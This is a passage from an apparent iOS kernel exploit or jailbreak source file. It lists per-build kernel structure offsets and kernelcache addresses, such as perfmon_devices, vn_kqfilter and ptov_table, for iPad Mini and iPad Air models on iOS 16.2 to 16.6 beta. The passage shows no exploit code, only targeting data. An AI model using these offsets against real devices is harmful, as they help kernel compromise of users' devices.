.fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a225178,\n                .kernelcache__gPhysBase = 0xfffffff00781bc60,\n                .kernelcache__gPhysSize = 0xfffffff00781bc60 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819e40,\n                .kernelcache__perfmon_devices = 0xfffffff00a260380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e873ac,\n                .kernelcache__ptov_table = 0xfffffff0077cf248,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25f800,\n                .kernelcache__vm_pages = 0xfffffff0077cc080,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce208,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25f7f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007ed9a44,\n            },\n\n            // iOS 16.3\n                {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D47\",\n                .device_id = \"iPad11,1\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a22d178,\n                .kernelcache__gPhysBase = 0xfffffff00781bd48,\n                .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a268380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n                .kernelcache__ptov_table = 0xfffffff0077cf288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n                .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n            },\n\n            // iOS 16.3.1\n                    {\n                .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20D67\",\n                .device_id = \"iPad11,1\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a22d178,\n                .kernelcache__gPhysBase = 0xfffffff00781bd48,\n                .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n                .kernelcache__gVirtBase = 0xfffffff007819f28,\n                .kernelcache__perfmon_devices = 0xfffffff00a268380,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n                .kernelcache__ptov_table = 0xfffffff0077cf288,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n                .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n                .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n            },\n\n            // iOS 16.4\n                {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E246\",\n                .device_id = \"iPad11,1\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2e9208,\n                .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a327500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n                .kernelcache__ptov_table = 0xfffffff0078a7160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n                .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n            },\n\n            // iOS 16.4.1\n                    {\n                .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20E252\",\n                .device_id = \"iPad11,1\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2e9208,\n                .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n                .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f2178,\n                .kernelcache__perfmon_devices = 0xfffffff00a327500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n                .kernelcache__ptov_table = 0xfffffff0078a7160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n                .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n            },\n\n            // iOS 16.5\n                {\n                .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20F66\",\n                .device_id = \"iPad11,1\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a2f1288,\n                .kernelcache__gPhysBase = 0xfffffff0078f80e0,\n                .kernelcache__gPhysSize = 0xfffffff0078f80e0 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078f62b8,\n                .kernelcache__perfmon_devices = 0xfffffff00a32f500,\n                .kernelcache__perfmon_dev_open = 0xfffffff007ea9c8c,\n                .kernelcache__ptov_table = 0xfffffff0078ab160,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a32e990,\n                .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a32e988,\n                .kernelcache__vn_kqfilter = 0xfffffff007ef8ad8,\n            },\n\n            // iOS 16.6b1\n                {\n                .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n                .build_version = \"20G5026e\",\n                .device_id = \"iPad11,1\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x730,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                .kernelcache__kernel_base = 0xfffffff007004000,\n                .kernelcache__cdevsw = 0xfffffff00a23dab0,\n                .kernelcache__gPhysBase = 0xfffffff0078dc288,\n                .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n                .kernelcache__gVirtBase = 0xfffffff0078da440,\n                .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n                .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n                .kernelcache__ptov_table = 0xfffffff00788f9a0,\n                .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n                .kernelcache__vm_pages = 0xfffffff00788c0f8,\n                .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n                .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n                .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n            },\n\n\n        // iPad Mini 5th Gen //\n        // iOS 16.2\n            {\n                .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n                .build_version = \"20C65\",\n                .device_id = \"iPad11,2\",\n                .fileglob__fg_ops = 0x28,\n                .fileglob__fg_data = 0x40 - 8,\n                .fileops__fo_kqfilter = 0x30,\n                // .fileproc__fp_iocount = 0x0000,\n                // .fileproc__fp_vflags = 0x0004,\n                // .fileproc__fp_flags = 0x0008,\n                // .fileproc__fp_guard_attrs = 0x000a,\n                // .fileproc__fp_glob = 0x0010,\n                // .fileproc__fp_guard = 0x0018,\n                // .fileproc__object_size = 0x0020,\n                .fileproc_guard__fpg_guard = 0x8,\n                .kqworkloop__kqwl_state = 0x10,\n                .kqworkloop__kqwl_p = 0x18,\n                .kqworkloop__kqwl_owner = 0xd0,\n                .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n                .kqworkloop__object_size = 0x108,\n                .pmap__tte = 0x0,\n                .pmap__ttep = 0x8,\n                .proc__p_list__le_next = 0x0,\n                .proc__p_list__le_prev = 0x8,\n                .proc__p_pid = 0x60,\n                .proc__p_fd__fd_ofiles = 0xf8,\n                .proc__object_size = 0x538,\n                .pseminfo__psem_usecount = 0x04,\n                .pseminfo__psem_uid = 0x0c,\n                .pseminfo__psem_gid = 0x10,\n                .pseminfo__psem_name = 0x14,\n                .pseminfo__psem_semobject = 0x38,\n                // .psemnode__pinfo = 0x0000,\n                // .psemnode__padding = 0x0008,\n                // .psemnode__object_size = 0x0010,\n                .semaphore__owner = 0x28,\n                .specinfo__si_rdev = 0x18,\n                .task__map = 0x28,\n                .task__threads__next = 0x80 - 0x28,\n                .task__threads__prev = 0x80 - 0x28 + 8,\n                .task__itk_space = 0x300,\n                .task__object_size = 0x628,\n                .thread__task_threads__next = 0x368 - 0x18,\n                .thread__task_threads__prev = 0x368 - 0x18 + 8,\n                .thread__map = 0x368,\n                .thread__thread_id = 0x400,\n                .thread__object_size = 0x4a8,\n                .uthread__object_size = 0x200,\n                .vm_map_entry__links__prev = 0x00,\n                .vm_map_entry__links__next = 0x08,\n                .vm_map_entry__links__start = 0x10,\n                .vm_map_entry__links__end = 0x18,\n                .vm_map_entry__store__entry__rbe_left = 0x20,\n                .vm_map_entry__store__entry__rbe_right = 0x28,\n                .vm_map_entry__store__entry__rbe_parent = 0x30,\n                .vnode__v_un__vu_specinfo = 0x78,\n                ._vm_map__hdr__links__prev = 0x00 + 0x10,\n                ._vm_map__hdr__links__next = 0x08 + 0x10,\n                ._vm_map__hdr__links__start = 0x10 + 0x10,\n                ._vm_map__hdr__links__end = 0x18 + 0x10,\n                ._vm_map__hdr__nentries = 0x30,\n                ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n                ._vm_map__pmap = 0x40,\n                ._vm_map__hint = 0x90 + 0x08,\n                ._vm_map__hole_hint = 0x90 + 0x10,\n                ._vm_map__holes_list = 0x90 + 0x18,\n                ._vm_map__object_size = 0xc0,\n                